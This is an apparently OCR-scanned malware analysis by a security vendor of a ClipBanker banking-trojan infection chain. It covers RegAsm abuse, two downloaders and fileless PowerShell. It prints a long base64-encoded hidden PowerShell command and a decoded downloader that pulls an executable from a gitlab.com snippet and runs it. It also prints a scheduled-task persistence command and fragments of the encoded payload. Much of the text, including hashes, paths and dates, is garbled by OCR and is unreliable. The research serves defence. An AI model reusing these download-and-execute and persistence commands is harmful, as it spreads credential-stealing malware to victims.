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EXECUTIVE SUMMARY

In this article, the Cynet Research team reveals a highly complex attack that runs for only 13 seconds by using
several malwares and different tactics. From our analysis, the threat that we discovered within our investigation is

name the “ClipBanker” trojan.

The attack flow contains several stages of LOLBins (Living Off the Land) abuse, masquerading, persistency,

enumeration techniques, credential thieving, fileless attacks, and finally banking trojan activities.

This attack is also using Fileless techniques in order to evade from security detections. Fileless attack has been a
growing threat since 2017 and require highly sophisticated detection and prevention tools to detect and block. The
most common Windows tools used in “Fileless” attacks are PowerShell, JS, VBA and WMI. PowerShell is a highly
popular tool used for Fileless attack, because PowerShell commands can be executed natively on Windows without

writing data to disk.

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of
sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype,
Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential

information.

The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker

unique is its ability to record various banking actions of the user and manipulate them for its own benefit.

The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users

to download malicious content.

Cynet 360 is protecting your assets against this type of exploit.
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7:47:43.000 PM: Execution: RegAsm that spanwed a downloader (EguiProxy.exe)

The downloader downloads additional downloader (1849226900.exe)

The second downloader executes PowerShell instances that created the main Trojan Banker
payload (cs.exe) and communicated with malicious domains

The main payload copy itself in order to gain persistency on the infected environment

7:47:56.000 PM: Once the payload has gained full access and control over the infected
machine - he is able to collect and steal valuable and sensitive inforamtion

This is part of an extensive series of guides about Malware Protection

MITRE ATT&CK

The attack flow that is described below contains several known MITRE tactics and techniques.

The strategic goal of the attacker is to steal information. However, in order to do it, the attacker must go through
several steps to complete his malicious activity and successfully gain access to the sensitive data from the

compromised environment.

In this case, the attacker begins with trying to gain Initial Access (TA0001) to the victim’s environment, in order to
gain an initial foothold on the victim machine. Then, they will use several tactics such as Execution (TA0002), in

order to execute the malicious code, and Persistency (TA0003), in order to gain persistency on the victim system.

The attackers will often need to gain access to the victim’s system in order to keep the malicious activity going and
to gain access to sensitive information from the infected environment. Such sensitive information includes browser
history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The attackers will
then need to accomplish the Collection (TA0009) tactic. This means that the attacker will need to use a Defense
Evasion (TA0005) tactics to bypass security application systems from detecting the malicious activity. In order to
establish a connection, the attacker will also use a Command and Control (TA0011) tactics to receive instruction

commands from a remote server and keep preforming the attack flow.
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13 SECONDS ATTACK FLOW
Attack started at 7:47:43.000 PM:

First Trojan Downloader:

Cynet 360 platform has detected a Trojan Downloader. A downloader is a program that downloads another malware

component from the network by connecting to a Command and Control server.

The Trojan Downloader was detected as a child process of RegAsm.exe binary. RegAsm is the Assembly
Registration tool that reads the metadata within an assembly and adds the necessary entries to the registry, which
allows COM clients to create .NET Framework classes transparently (Microsoft Developer Network). RegAsm
(LOLBIn) can be used to perform malicious actions such as PE file execution in order to bypass security

applications.
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Pid

"C:i\Use r=AppData\Local\Temp\EguiProxy .exa”

cl\use r5=appdata\local\temp\eguiproxy.exe

A 6888
———1

4A471FB5C7624238EF374BBF3AF4EEB2ABC2BF87579ECDBEEFEAG1356E23AEG9

96 :Iz3J1+n7W7AtmLykrFVEODJtutwc79LaB+UMNmMLgt3x3kJ+16czNt :mQ740hkphDEwq9L aB+UMKmLgt32gm
Not checked

"C:\Windows\Microsoft.NET\Framework\v4.8.38319 \RegAsm.exe”
c:\windows\microsoft.net\framework\v4.0.38319\regasm.exe

A 4324

SHAZ56
SSDeep

is signed

ABT564A8771DAFASEBESACEAAZBC32VEFAZDOACZEDCE6B2BBC3EEBDCO6686641
768:NK9zVizd4aAdv/ztAJan8dBhFt6+Y6Iq8HonYDKVdOhPiDOMasa9e | YizSaAHqa8dBXw+HYDK /8R5mata

Not checked

As you can see in the screenshot below — Cynet has detected EguiProxy.exe (the Trojan Downloader) that was
launched by RegAsm.exe (LOLBin):

¢ First Downloader: EguiProxy.exe
e MD5: f70428c34a100f9b3a6dbe58aeal5def

o SHA-1: 9dd57{78f6f488bc7e96b592a7201040049f4933

e SHA-256: 4a471f05c7624238ef374bbf3af4eeb2abc20f87579ecdbeefeab1356e23ae69
e SSDEEP:

96:1z3j1+n7W7AtmLykrFVEODJtutwc79LaB+UMWmLgt3x3kJ+iGczNt:mQ740hkphDEwq9LaB+UMWmLgt32gm

Second Trojan Downloader:

Then, the Trojan Downloader downloads another malware from “hxxp://bzqopgteral.]xyz/” that will be used as an

Injector/Downloader and will execute a new malware from \AppData\Local\Temp\ directory:
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Parent Process Details.Process Params
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Process
Process
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Running User
SHAZ56
SSDeep

is signed

"C:\Users:AppData\Local\Temp\EguiFroxy.exe"
c:\users\Eappdata\local\temp\eguiproxy.exe

A 6oes

————— 1

4A4T1FB5CT024238EF374BBF3AF4EEB2ZABC2ZBF 8757 9ECDBEEFEAGT356E23AER9
96:I123j1+nTW7AtmLykrFVEODJTutwe79LaB+UMNMLgt3x3kJ+1GczNt :mQ740hkphDEwg9LaB+UMKmMLgt32gm
Not checked

"C:\Windows\Microsoft .NET\Framework\v4.@.38319 \RegAsm.exe"
c\windows\microsoft.net\framework\v4.8.3208319\regasm.exe

A 4324

———

AB7564AB771DAFASEBESACEAAZBC327EFA2DBAC2EDCOG6B2BBC3EEBDCG66600641

768 :NK9zVizd4aA9v/ztAJanBdBhFte+Y6I1q8HoNYDKVdBhPiDOmaBe9e | ¥izSaAHqa8dBXw+HY DK /BR5mata

Not checked

84/21/20 BB:47:36 (host timezone)

4/21/2628 12:46:59 AM (host timezone)

A 2028-84-271 96:46:59 GMT+eS:00

Windows 7 Enterprise x64 Service Pack 1
"r::\Users:AppData\Local\Tempuaagzzégae.exe"
clluse rs=appdata\local\temp\‘\ 849226908 .exe
A 5476
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¢ Second Downloader: 1849226900.exe

e MD5: e5e13f095613837ff741cf9fb2b68eb0

e SHA-1: e7b63fbd6dc176fa29e208dc1de083c882a6ef01

e Sha256: 1f0ddf5088ac75862fe1d1c4f11f9c39645eeeledacc938alf66f14dfc5d5288
¢ SSDeep:

12288:DIciEWzp4fghCC77upiLcRGjbWWKKke9TmARtxQBWUX 2Fgmvu5UshghN:3jcqhJipiwojbWWKY9Tjm2eyh

The second downloader also initiated a network communication to the same Command and Control server as

mentioned above (the same C&C of the first downloader).

The main purpose of this second trojan is to execute a malicious PowerShell command by running CMD.exe. It is

worth mentioning that the cmd.exe instance was executed from syswow64 directory. This kind of activity is similar
with many other malicious activities the Cynet Research has investigated recently. The CMD instance had run with
/c argument (which allows the CMD to run and terminate immediately thereafter) in order to execute the malicious

PowerShell command described below.

Parent Process Details.Pr Params ‘C:‘.UsersDAppData\Local\TEmp‘J849225988.9):2'
Path c :‘.user:appdata\local\temp\1349225900.exe

Pid

Parent Process Details.Pr

Parent Details.Pr

Parent Details.Pr Running User

Parent Details.Pr SHAZ56 1FBDDF588BACT 5862FE1D1C4F11F9C39645EEE1E4ACCO38A1F66F14DFC505288

Parent Process Details.Pr 12288 :D9c1EWZp4TghCCT7up1LeRG ] bWWkKke9Tm4RtxQBWUX2 FgmvuSUshghN :3 jeghJipiwo JbWWkYST jm2eyh
1 fghi bWWkK hgh h bWk t

Parent Process Details.Proc is signed Not checked
Process Details.Pr reationTime A 2020-84-21 08:47
Process Details Params emd /o powershell -w 1 -exec bypass -e JABBAGQAZABUAGEACWBrACAAPQAGACCANWBTAHKACWBBAGUADOAUAFOAZOBAAHOAL gBF AGAAYWEVAGQASOBUAGCAXDA

6ADOAVOBUAGKAYWBVAGQAZQAUAECAZQBOAFMAdABYAGKADGBNACGANWBTARK AcWBBAGUADQAUAEMALWBUAHYAZQBYAHQAXQAGADOARGBYAGBADQBCAGEACWELADY ANABTA
HOACOBpPAGAAZWAOACTAVWEZAETAVABBAE gAaWBBAGMAdWECADAAQOBHAFUAQQBIAFEAQQBR 1 AEEARQAGAEEAWGBRAETAMABBAEMANABEAFUAdWBCAGWAQOBTAEKAQQBKAGE
AQgBWAEEARWBNAEEAWQBRAEIAUQBBAECAQABBAGEAUQBCAHUAGOBIAFEACQBUAFEAQGBOAEEARWAGAEEANDBRAEIADBBAECAVOBBAGHAZWECAGOAQUBEAGBAQLBPAGCAT
QBUAEEARWBVAEEAWQB3AETAMOBBAEgASOBBAGEAUQBCADAAQOBIAGS AQUBVAEEANGBSAEE ARWA4AEEAZ ABBAETAdOBBAECATOBBAGTAdWBCAHMAQOBDAEEAQNBOAFEAQOR
NAEEARQBZAEEAUQBRAEIADOBBAEQAVQBBAGIALQBCAGQAQUBEAGBAQDBPAGCAQYBVAEEARWASAEEAVABIAETIASOBBAECADWBBAF 0AUQBCAGOAQQBIAFEAQUELAEEAQQB1A
EEARQBNAEEAZ(OBRAETA2gBBAEQAUQBEAF 0AUQBCAHOAQOBDADQAQQBUAGCAQQBSAEEASABRAEEATABNAETAVABBAECAVOBEBAFKAdWBCADEAQOBTAEKAQQBhAFEAQGAWAEE
ASABrAEEAVOBBAEIA=QBBAECAOABBAGOAQQBCAHY AQUBHAEBAQQBIAHCAQQBZAEEARGBRAEE AZOBRAE TAWBBAECAVOBBAF JAUQBBAHMAQOBDAEEAQOBNAHC AQQB3AEEAR
ABJAEEATQBNAEEACABBAEQACWBBAEQAUQBBAESAQQBDAFEAQQBZAGCAQQBOAEEASABNAEE ANGBRAEEAMBBAEQAUQBBAGHACWBCADAAQOBIAEKAQQBhAFEAQET AEEARWE
jAEEASOBBAEEAOQBBAEMAQBBAE: EB DOAQOBaAFEAQQAZAEE B3AETAa(QBBAECAbWBBAF 0AUQBCAGOAQQBTAFEAQQRJAEEAQYBUAEEASARBIA
EEAYWB3IAETAMABBAECAVOBBAGIAUQBBAHUAQOBFADQAQQBAAFEAQAWAEEAQWABAEEAV QB3 AETADABBAECASOBBAFEADWBCAHMAQDBHAGSAQOBAAFEAQGE 1 AEEASABRAEE
ASWBRAEEAdOBBAEUAUQBBAGIAdWBCADMAQOBHADQAQQBIAEEAQGB2AEEARWBFAEEANGBBAET AVABBAE gAUQBBAGMAZWBCAHAAQDBHADQANOBaAHCAQOBVAEEAQWE JAEEAY
QBBAEIAMABBAEQAUQBBAGMAQOBCAHOACOBEAGBAQOBMAHCAQQBZAEEARNE JAEEAYQBRAETAMABBAECAdWBBAFKAUQBCAGKAQUBDADOAQOBZAHCAQQBZAEEARWANAEEATAB
3AETAVQBBAEUAdWBBAEBAUQBCAGAAQNBHAEKANOB1AGCAQQAXAEEARGBBAEEATOB3 AEEAMWBBAEMAOABBAGMAZWBCADAAQOBDADGAQOE j AHCAQGE 1 AEEARWEB rAEEAYWERA
ETAdWBBAECAVOBBAGOAQQBCAHOAQQBDADGAQQBNAFEAQQATAEEARABVAEEATBNAEE AcQBBAEQAQNBBAE4AUQBBAHY AQUBTAEKAQOBZ AFEAQQATAEEAQWB] AEEASWBRAEE
AcABBAEEAMABBAEMAZWECAGIAQQBFAGSAQQBUAHCAQQBT1AEEARQBZAEEAYQBRAEIACWEBAECAVOBBAF gAUQBBADY AQQBEAGEAQOBWAHCAQGBSAEEARWEr AEEAZABBAETAD
ABBAEUAROBBAGTAQQBCAHMAQOBFAEKAQOBIAFEAQAWAEEARWBYAEEAYWBIAEEADWBBAEMASOBBAEOAQOBCAGWAQOBHADOAQOBK AGCAQNAZAEEASABRAEEAWGBRAETADAR
BAEQAQQBBAFQAQQBCAGOAQOBIAE! BM, EEASABNAEEAWQERAEEAZOBBAEMAdWBBAEKAQQBCAGIAQUBFAEBAQOBIAHCADGE 1 AEEASABZAEEAWBRAEI ASQBEA
EgAUQBBAFgAUQBBADYAQQBEAGBAQOBSAGCAQYBSAEEARWALAEEAY gBRAET AQWEBAE CARQBBAGMAdWBC AGWAQOBEAFK AQOBOAEEAQQBUAEEASABRAEEAYWBNAETACABBAES
ANABBAF0AdWBBAGBAQOBDAFEAQQBZAGCAQGE BBAGMAIWBCADAADDBIAEKAQDBhAFEAQYETAEEARWB]AEEASWBRAEEACABBAEEAN
ABBAEMAZwWBCAHOAQQBTAFEAQOBZAFEAQGBSAEEASABRAEEATABRAETAdWBEAEGASOBBAGT AdwBCAGOAQOBHAFUAQOB j AHCAQQBEAEEAQWBBAEEAS(BNAEEAaWBBAECAVOR
BAGIAZWBCADIAQQI QBKAEE. YWEBAELAYWBBAECATOBBAGMAdWEBARUAQQBHAFUAQOBLAEEAQQBSAEEAQWEAEEASQBBAEEAQABBAEY AYWEBA
GEAUQBCAHUAQOBHAFEAQQB1AHCANGAZAEEAQWBBAEEAUWBBAET AcABBAECAUQBBAF0AQQBCAGWAQDBHADDANOBJAEEAQDBNAEEASAB3 AEEASOBEAETAdgBBAEQAVOBBAGD
AQQOBBAHOAQOBHADOAQOBKAFEAQGBZAEEARWE3AEEARABRAEEASWRBAEEAPQASACTAKQAPACAAT AAGAGKAZOBAACCADDAKAGKAZgAOACEAKABBAGUACWBBACAACABRAHOAS
AAGAEQASWEDAFUAOgBCAFMADWBMAHQAdWBhAHIAZQBCAGMACGAPACKASWANAADATAAGACAAT ABOAGUAdWAT AEKAABLAGOATAATAF AAYQBOAGQATABIAE SAOWBVADOAXAR
TAGBAZQBBAHCAYOBYAGUAXAAGACBADQBhAGBAZOAGAGMACOANAACATOANAAOAT gB1AHCALOB.JAHQAZ BT AF AACOBYAHAAZ(ORY AHOASQAGACOAUABRAHOASAAGAEGASWEDA
FUAOgBCAFMAbWEMAHOAdWEBRAHIAZQBCAGHACGAGACEATGBhAGBAZQAAGY ALAATAFAACBYAHAAZOBY AHDACOBUAHKACABLACAACWBOAHIAZQBUAGCATAATAFYAYQBSAHU
AZQAQACOAdABOAGOAVABhAHMABWAGACRBAZgBVAHTAYWB1ACAAT AAQAGEADOBBACAALGB 1 AGWADAANAADACWEOAGEACOBAACBACABYAGBAYWB1AHMACWAGACAAYWBTAGOAL
QgBLAHQAZOAQACEAQLBYAGCAOBAGUADGBRAEWAGOBZAHQATAANACAALNE JACAACWE JAGGAdABhAHMAGWBZ ACAALWE ] AHIAZOBhAHOAZOAQACBAZQAGACAALWBBAGIATAA
1AFUACABKAGEAdABIACAAUWBOAGUADABSACTATAAVAHMAYWAQAGGADWETAHTADABSACAALWBTAGBATAAYACAALWBBAHTATAATAHAADWE3AGUACOBZAGIAZOBSAGWATAATA
HCATAAXACAATAATAGUATABNAFEAQQBSAEEASABNAEEASOBBAEE A3WBBAEMAZWEBAF TAdWBCAGWAQQBI AFEAQOBMAFE AQQBKAEEASABRAEEAWGBRAETAdABBAEY AQUBBAGM
AZWBCAHYAQUBIAEEAQQBaAFEAQGBSAEEASABRAEEAZQBRAEEAZWEBAEMAMABBAFUADQBCAGYAQDEIAFEADDERAEEAQDBNAEEAQWEBAEEAUWBBAEIATABBAEUATQBEAFYAU
(QBBADYAQOBGAHCAQOBVAHCAQQB2ZAEEARWBZ AEEAZABBAETAMWEBAECAROBBAGMAZWBCAGWAQOBGAHCAQOBZ AHCAQYBSAEEAQWBBAEEATABRAETATWEBAECAROBRAGTAUQR
CAGWAQOBDAEEAQOBaA QBnAEE, AEEAUQBRAEIA=OBBAE BBAGLAdwBCAHKAQDBFAEUAQQBZAHCAQQAWAEEARWBr AEEAYQBIAETAJOBBAEMAQQBEAFUADVECA
DAAQQOBHADQAQOBAEEAQQBWAEEAQWARAEEAWGBBAEEAPQATACCATAAQACBAVWEBPAGAAZ ABVAHC AUWBEAHKADABIACAASABPAGOAZABLAGAATAANAACADOAKAA==

Process Details. c:\windows\syswows4\cmd .exe

The PowerShell command had ran with the following parameters:

¢ -w 1— WindowStyle Hidden, hide the PowerShell window.

e -e — EncodedCommand, allow to encode the command with base 64 format.

After decoding the malicious PowerShell base64 command, we have figured that the attack switched from file-
based attack to a Fileless attack. In the screenshot below, you may see that the command contains two interesting

parts:
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thdTask ' [System.Text.Encoding] nicode.GetString([System.Convert]: :FromBase64String ("WwBTAHKAcwWBOAGUAbQAUAEAAZQBOACAAUWB1AHIAdgBPAGMAZQBQAG8AAQ!
BUAHQATQBhAG4AYQBNAGUAcgBdADOAOgBTAGUAYWB1AHIAaQBBAHKAUABYAGBAdABVAGMAbWBSACAAPQAgAF sARQBUAHUABQBAADOAOEBUAGBATWB1AGOAZQBjAHQAKABbAFMAeQBZAHQAZQBLAC
4ATgBlAHQALgBTAGUAYWB1AHIAaQBOAHKAUABYAGE8AdABVAGMAbWBSAFQAeQBWAGUAXQASACAAMWAWAD cAMgAPADSADQAKACQAYgBhAHMAZQA2ADQACWBRAHIAaQBUAGCATIAASACAAKAACAE4AZQ
B3ACOATWB1AGOAZQBjAHQAIABTAHKACWBBAGUADQAUAE4AZQBBACAAVIWBAGIAQWBSAGKAZQBUAHQAKQAUAEQADWB3AGAADABVAGEAZABTAHQACEBPAGAAZWAOACCAaABOAHQACABZADOALWAVAG
cAaQBOAGWAYQBiAC4AAYWBVAGBALWBVAEWAOQBNAGIAegB1AFAAMWA3ACBACEBOACBACWBUAGKACABWAGUAJABZACBAMQASADUANgAZADAANQAVAHIAYQB3ACCAKQAPAABACEBbAEKATWAUAEYAEQ
BsAGUAXQAGADOAVWBYAGKAdABIAEEABABSAEIAeQBOAGUACWACACIAIABIAGAAdgAGAHQAZQBTAHAAXABJAHMAL gB1AHEAZQAIACWATABbAEMABWBUAHYAZQBYAHQAXQAEADOAREBYAGBABQBCAG
EAcwB1ADYANABTAHQACEBPAGAAZWACACQAYgBhAHMAZQA2ADQACWBOAHIAaQBUAGEAKQAPAARACEBZAHQAYQBYAHQAL QBWAHIAbWBI AGUACWBZACAATEAKAGUAbEB2ADOAdAB1AGOACABCAGM
AcwAUAGUAeAB1ACIAIAALAF cAaQBUAGQAbWB3ACAASABPAGQAZABLAGAATAAgAHWAIABVAHUAJAALAGAAQBSAGWADQAKAA=="))
(! (test-path HKCU:\Software\cr)){
New-Item -Path HKCU:\Software\ -name cr
}
New-ItemProperty -Path HKCU:\Software\cr -Name f -PropertyType string -Value ithdTask -force | out-null
start-process cmd.exe -ArgumentList ' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 2 /tr "powershell -w 1 -e aQBlAHgAIAAKACgARWB1AHQA
LQB]AHQAZQBtAFAAcngAHAAZQByAHQAeQAgACBAUABhAHQAaAAgACAASABLAEMAVQAGAFwAUvaAGYAdABBAGEAcgBlAFwAYwByACAALQBOAGEAbQBlACAAZgAgACGARQByAHIAwayAEEAYNBG
[AGKAbWBUACAAUWBBAGBACAAPACAAZAA= WindowStyle

1. The first part of the PowerShell command is the $thdTask variable, which contains another base64 string.

After encoding the base 64 command, we got the following command:

[System.Net.ServicePointManager]: :SecurityProtocol [Enum]: :ToObject([System.Net.SecurityProtocolType] )

base64string = ((New-Object System.Net.WebClient).DownloadString('https://gitlab.com/UL9gbzuP37/rt/snippets/1956305/ran'))
[I0.File]::WriteAllBytes("fenv:temp\cs.exe", [Convert]::FromBase64String(ibase64string))

"fenv:temp\cs.exe" -Window out-null

start-process

The above command is using “System.Net.WebClient” and “DownloadString” to initiate network connectivity to
gitlab.com (hxxps://gitlab[.]com/UL9gbzuP37/rt/snippets/1956305/raw) and to download the cs.exe file to \temp\

directory.

When trying to access the malicious URL, we saw that it contains a large base64 string, as you can see below:

&« c @ gitlab.com

AAPAAAAEA J8AAL|

WeNOL 1VCAOL RwQAAIC NOOF VCAD: AARCOS IRDAOhDPQAAAE JVQgDObBE AAFNDVY s 1 08Mg 3ki
ZHZHVY\ 58V 0UUPCAGShAAAAAF CDTBBTV] e hbHBDADPF UL FIGS JAAAAANGF 6AAAAACL AQIHRRAAAAAAXBYUDWAAANYGAT by AAAADHRe gBAN
/’/‘P(IBEGT vaADBL4] U(B]SEQSOZGM(LyIl FltFﬁ[lGEI(fSE exQg/sQckKLPLIREFXWAABDEBQME FSAEAAA
" WY vSUYEFH! AAdGRLRQIL v
LfQiLx4tdDDv7dBU78XQTihZGighADsp1DItNFDVDdes78QIE+1v #Dushx.ﬂrd
UcIjuumizdQijuuMuI1FD1Don//// 1P/ dQhWEGXZAACDXB INEBEIRY Fl:’(.\tw

ID4TVAAAAJUE jg+Dg iU B6XGFyXQLUE]
AFHObNBAAT tN+IPEDIBM+VIeil
2 JUUTUT1FCFCNRQEQEE!

gOMAGH21AABOGLVCAD]
WIXAJQHWAVSdwz LAX13)
sei8ud/// /FOHPKBET2HYHV//

5/7/dA+KQg! lGQQlIGExv-\ngE

‘,‘PKB(?IUQKE-\E.»\ImgxsEPgF

gkRgAAI10Qi 301 ;smuqm..ucemxsxa;aw

i tFCF9elidv1XCOpAAGAAHRN

|“Y HMZFWL7 ItFDMCAKGICAMAABAUAAACSAQAAAF 3CDAD!
/ ABHGAA1N+DVEDAYPAQAAGT// / /!

s
IgMdg (AEAAACHKLUPyDWSHrwoPA/ TPaH3doi 01VuQ-‘u\gﬂQIj0T+1TD]QwSUIfnﬂl 2
9AAAATVRUP///2/REivCOBh2BAVHI X386wulBACTXxwICx41F/FCLy+ihcAAAL00Qi9eITH
+dh*LTRm’ NQMiwGIAGPCBIPVAXXBX16JUnWRD1 +VdwgwAdASNBL 1 JQwRTX1ul SV3CDADOLA
M41FCFCNRQhQIUULUOEQ/P/ / LOMEKBZQUot1+FboBNUAAL sDEBQYhcBRLItLCCYI g+Hag FRAEARACKKLUPYI
yD78Qz@01N+11V/DkVEG1CAHRYI@BMUALACF L BSYIMEC ] dexXDx+ EAAMAAAATSPhPQEAPh
£ 1+uyV¥vsav3oBktCAGShAAAAAF CE7TAAAABTV] e hbHEDADPFUT 1F 9GS JAAAAA GEOBQEILOF
DNRB::A;«AAA;EOI;UXqu::em!El!OQlUE:iBhQixxlivinix!uykx AMZFAACIVET/ X ORTUCECLS//
OPA/IPAH3CEUVLOSTQRATPEC mrmmx,mnnrﬁrwewsmxmlmczqﬂ‘ Y10,

DQLTiKB4hFIToGIOkE/
WEIPSEHICinYDwolFCIPSEHT!
LRCiNIX)/ /mpsn-mr /A

X@1EXninGLQBD
L\Q& LGchdﬂ\r

PO181rYiexaiegeixGLUhD/@jrod
r-DlﬁBB..IkN-»L«mFlelDLSVBD

UQDgEgD:‘*Vdugw-‘- X8110113XsQo A
# /ARAAAAPEUWY XBUOAAAAAMAF FAAAAADHRE AAAAAAXOHBAAAAAMAF uAM
PULAXSAEGLTby LivivKgHHABFRAEARACHCLUYYDuSH
JX:iOUIK]EMthu
shcBOBIvW 3t g A A ItFCItIBIXIdQe4PGICADSKIOEYRCBIAG1BHFCNTETo
thIlMDF‘leKTUJ[dJOL\'ﬂAJv-I Ok g@MAOTyDQWCIXFy IRASF /. 3LVVﬂllnBGh3MJ-\OTGkEB'
€yNRARQE IR/ AACDEBOQXIXBASEF LAEALABY AOSAUT IN1OS 48uAA UM MAADHREOAAA AR € AUTABBGLAAC IRE1 Vg,
LehbHBDADPFUT1F 3GS JAAAAAGOA U3 kx@XsAAAAAOEH] wAAL 2BghE!
/AEFQQ'\HMBUIEGEEFE115733\‘ wQLQR1FWHUDJUECUT1NOOgS B,
9GS JARAAAT VX {X0wieUM] U4U iQa JIRgS LRRCIRE INRQEQIULQXOYMA
18LBEAP30I LWL CUAAQAALU4WIUY1BL BGAHZOIP;BIIGOHIQIP:P-‘I‘OP]PS-\XHJhd'GPdP
ANHIIYATIMAALLAE /G TAFRACHA RAGRC ARG+ POAAT /1 MvASF /3NkagHHR Fuud »

60CZAAASPREDQUB1EKET

iFOCTINEO]SEWAAIXUTVSZI

U3Q6K+YAACLPSSDQWCLTgQ7¢Q
ARAAAD:

MAQKMIREMA
ALova:

AFSAF@CHNGO]DE-«-\AJXUIV F
""" ""“““"'“""IVYLEqLRhQr) IHSAOX IdAC 7wnQDILYYXOY GAAAAA
TrDZFSBHUHuBs-gHD UFGCH\.HUBuggxkrIIPG‘HUH
FA1IVE § XABT VM1

/ALOrPAAALSHESQE 187/ UgS )

AOhWTEAAEQE LI
RBAIHCD+ LAPRIHH-Bb ] 7XXc TLUZQMQAAAEBOB4 G I INICAI L zujqYQAR
SV 51NV Ve Ve 41 Va1 Vs | VB2 A AATraHIr

2L TFRKIQOAAA
AT#GI Me A

ATHAMMCAAAAAAT RN,

After decoding the base64 string, we have figured that the base64 string is basically a PE file (an MZ file) that will
be downloaded to $env:temp (environment variable of the TEMP directory C:\Users\user\AppData\Local\Tem) the

payload as “cs.exe”
[IO.File]::WriteAllBytes(“$env:temp\cs.exe”, [Convert]::FromBase64String($base64string))
Finally, the payload executes by start-process command.

e start-process “$env:temp\cs.exe”
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length: 3e9932 =
Input o : 4 + Ol =

1lines

TVQQAAMAAAAEAAAL/ [ BAALGAALAAALALAQAAARALALAAAALAAAAALAAALAALAAAAAAAAALALALALAAAAAACAEAAASfUEAATANNIDEETMBNVGhp CYBWCmONCcmFLIG
Nhbm5vdCBi7 SBydWdgakdgRESTIGLvZGUUDOBK I AAAAAARAAC /POpS52d+uednfrinZ36gvue++gdntqC45j7552d+oL7mfvxnZ36eTla+tuadnfql92778p2d
+r¥1mPvZnZ36tfWZ+8adnfgC+527412d+uednPgPnZ36ffSY++adnfp99GLE5p2d+n3en/ vmnZ36Uml ja0ednfoARAAALALALALAAAAAAALALLUEUAAEWBBQACZN
leAAAAAAAAAADEAATBCWEDEABGAZAAUZEAAAAALL FWAAAAEAAAAGACAALAQAAAEAAAAATAAAYAAAAAALALBEAAAALAAAAALAMALAQAAALAAAAACAECBALAQALAQ
AAASABAAABAAAAAAAAADAAAAAAAAALAALALASKEMAUAAAAAC gAWDZAQAAAAAAAAAAAAAAALAAALAAAACWAWDATQAACDKDABWALAAAAAAAAAALAAAALALALALAAMD
oDABgAAACQOOMAQAAAAAAMAAALAAALAGACATABAASAAAAALAAAALAAAAAAAAAAASAAAASMAAALUDGVAdAALAEXF AGAAE ARALEY CAAAEAALAAAAALLAAAALALASAD
AABgLnIkYXRhAAC2BEEAAGACAAAT AQALS g TAAAAAALAAALAAALAALQAAAQCS KYXRRAAAAHC EAAABWAWAAE gAAAF IDAAAAAAAAAAAAALAALEAAAMALC NNY YW AAAD
ABAAAACAMAAATAAABKAWAAAAAALAAAARAAAABAAABAL n]1bGO JAADATQAAAL ADAAAMAAAAT sMALAAALAAALAALALASRAQAAADZ AAAAALAAAAAALAALAAALAARAAL
AAAAAAAAAAAAASALAAAAAAAAALAAAAAAAAAAAAAAALAASAAAAAANAAAAAAAAAALAAAAALAALLLAAAAALASLAAAAAAAAALAAAAAALAAAAAAAALAARAANALALAARA
AAAAAALAAAAAAAALAAAAAAAAALAAAAAAAAALAAAAALAASAAAAAALAAAAAAAAAALAAAAALAAALLAAAAALAALAAAAAAAAALAAAAAALAAAAALAALAARAAAAAALAARA
ARAAAALAAASAAAALAALAAAAAAALAAAAAAAAALARAAALAALAAAAAALALLAAAAARLAAAAAAAALLLAAAAALALLAAAARAAAALAAALAALAAARAAAALLARAARALALAARL
AAASAAAANAAAAAAAAAAAAAAL 1AZBMAGH2 1AABOG 1WVCADT pwQAAWCNO I FVCAOIdwQAANCNO L1VCADIRWQAAWCNOOFVCAOIFWQAAKWCOSr IRDAOhDpQAASEIVQgDD
bEEAAFNDYYvsiBeMg3kUETtBEHIC iwmLVQhig3oUETItyEHICixI78HVhg+4EchgPHAAALAAAIWI7AKUQEBIEGSEEQ+AEC++D/ vxBNIoCOgF1I4P+/XQpik IBOk
EBdRgD/vESBHIpCApBANUNE/ 7/ dA+KQeMEeQONBBxvAgS gBEWT ZwIXAdQUWAYSdwz LAX1 3DzMzMz MzMVY v s avdoulpCAGShAAAAAFCD7BBTV1ehbHEDADPFUTLF
965 AAAAAMAFBAARAACLAQFHRhAAAAALxBYUDWAAAMYGAT tNDMdF / AAAAADHRegBAAAAFVEBIgF BhMBL+YtdECVKIZ4Q1X3wi IMQASGIVe7 +g+H5 gARAT teFD
vaDdTYAAAADdPBAAAA1Bq4fffHFyVPKSc?NQ+CBAEﬂAIv6g88pgfffff9fdgefffffF+se18u43ff!f9Hpk8E?2HYvafff3!PCIBEGTV4D8L4]Uc5185QGOZB

amoy Tl . rTarrTler T ar e AT o n s om o laer R A e AR e T oA R A ol 1 T e .t v FTan, aanT.ria P TlasaTaraTnee Tl A 2inrme.

time: 192ms

P length: 232448 Ir ok

Output # Freth; 2odia S | O & L

M e e B e R R R R R o..” 1! .LI!This program cannot be run in DOS mode.

AR £06@C. 0. 0. . 6.0.08..0.0.0K. . G.0. 0. . Gy=Z0. .0u5. 00. . Gud. 00, . 0p5. 0. .G.0.08. .Gc. . 4. .. G}6.0=. . G}8bh=. .0}

& GRIChE. e eeiiieinnnnns PE..L....Uy"™. ..uuus. - FowiRuvnnnn o} % B ee i LA
e e R S R R S (e R P S e

YV - [P T T e text...LE....... ot et
“.rdata. 9., ...l 2| I @..@.data....!...p....... B e [ -1 AT - T - P @..

@.reloc..A%

B 3R D

............................................................................................... B.c.2}

¥..h.UB.2@A. .YAh$UB.&.A. .YAh.UB.2.A. .YAh8UB.2.A. . YA®~.C.2C¥. .hBUB.20A. .YAU.1.M..y...A.r..

RURTIC SO VT T1T- % 0 P ;.u. AL A, .i.si.pOt4..:.u’.pyt).B.:A.u..ppt..B.:A.U

.pyt..B.:A.E.ALE.E.3A AU

"."]f«2.&"]ﬁﬂ‘lﬂ]‘.u igghtIBodj . oPois svw lpC 3AP.EBdE. .. .CER..... WEGESEkGsE CE CEG.=) 0. .. A AuD.].+E.~ L)

E T P 1 i VTR TP A e S P P S Ry

In order to understand the malicious purpose of this payload we have to deep dive and analyze it by static and

dynamic analysis.

1. The second part of the command sets a new value to the “HKCU\Sofatwarte\cr” registry key — which is

further described in the technical analysis

Technical Analysis

After downloading and investigating the cs.exe (the payload we extracted above), we have concluded that this

payload is the said Trojan Banker that aims to steal banking data from infected machines.

¢ File name: cs.exe

